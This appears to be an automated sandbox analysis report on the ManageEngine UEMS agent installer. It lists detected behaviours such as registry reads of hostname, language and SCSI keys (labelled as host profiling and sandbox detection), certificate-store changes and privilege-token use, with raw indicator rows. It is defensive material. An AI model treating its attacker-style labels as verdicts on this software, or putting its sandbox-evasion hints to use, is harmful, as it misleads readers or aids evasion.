fc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4 dcconfig.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 22 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcswmeter.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname DCProcessMonitor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain DCProcessMonitor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcuploadlogs.exe - System Location Discovery: System Language Discovery 1 TTPs 62 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcswmeter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcuploadlogs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DCProcessMonitor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language systeminfo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CRU_Reporter.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHealthChecker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe - Checks SCSI registry key(s) 3 TTPs 10 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe - Delays execution with timeout.exe 1 IoCs
pid Process 3716 timeout.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4724 systeminfo.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcconfig.exe - Modifies registry class 35 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer dcagentservice.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\extracted_6MOQLVLA\\" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcconfig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList dcagentservice.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcconfig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "DBF1585436CE69C49965D1E81CE639EC" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "184879680" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\extracted_6MOQLVLA\\" msiexec.exe - Modifies system certificate store 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37 dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7 dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37 dcconfig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7 dcconfig.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3816 UEMSAgentHCHelper.exe 3816 UEMSAgentHCHelper.exe 3816 UEMSAgentHCHelper.exe 3816 UEMSAgentHCHelper.exe 3816 UEMSAgentHCHelper.exe 3816 UEMSAgentHCHelper.exe 5356 UEMSAgentHCHelper.exe 5356 UEMSAgentHCHelper.exe 5356 UEMSAgentHCHelper.exe 5356 UEMSAgentHCHelper.exe 5356 UEMSAgentHCHelper.exe 5356 UEMSAgentHCHelper.exe 3384 UEMSAgentHCHelper.exe 3384 UEMSAgentHCHelper.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1356 msiexec.exe Token: SeIncreaseQuotaPrivilege 1356 msiexec.exe Token: SeSecurityPrivilege 4608 msiexec.exe Token: SeCreateTokenPrivilege 1356 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1356 msiexec.exe Token: SeLockMemoryPrivilege 1356 msiexec.exe Token: SeIncreaseQuotaPrivilege 1356 msiexec.exe Token: SeMachineAccountPrivilege 1356 msiexec.exe Token: SeTcbPrivilege 1356 msiexec.exe Token: SeSecurityPrivilege 1356 msiexec.exe Token: SeTakeOwnershipPrivilege 1356 msiexec.exe Token: SeLoadDriverPrivilege 1356 msiexec.exe Token: SeSystemProfilePrivilege 1356 msiexec.exe Token: SeSystemtimePrivilege 1356 msiexec.exe Token: SeProfSingleProcessPrivilege 1356 msiexec.exe Token: SeIncBasePriorityPrivilege 1356 msiexec.exe Token: SeCreatePagefilePrivilege 1356 msiexec.exe Token: SeCreatePermanentPrivilege 1356 msiexec.exe Token: SeBackupPrivilege 1356 msiexec.exe Token: SeRestorePrivilege 1356 msiexec.exe Token: SeShutdownPrivilege 1356 msiexec.exe Token: SeDebugPrivilege 1356 msiexec.exe Token: SeAuditPrivilege 1356 msiexec.exe Token: SeSystemEnvironmentPrivilege 1356 msiexec.exe Token: SeChangeNotifyPrivilege 1356 msiexec.exe Token: SeRemoteShutdownPrivilege 1356 msiexec.exe Token: SeUndockPrivilege 1356 msiexec.exe Token: SeSyncAgentPrivilege 1356 msiexec.exe Token: SeEnableDelegationPrivilege 1356 msiexec.exe Token: SeManageVolumePrivilege 1356 msiexec.exe Token: SeImpersonatePrivilege 1356 msiexec.exe Token: SeCreateGlobalPrivilege 1356 msiexec.exe Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe 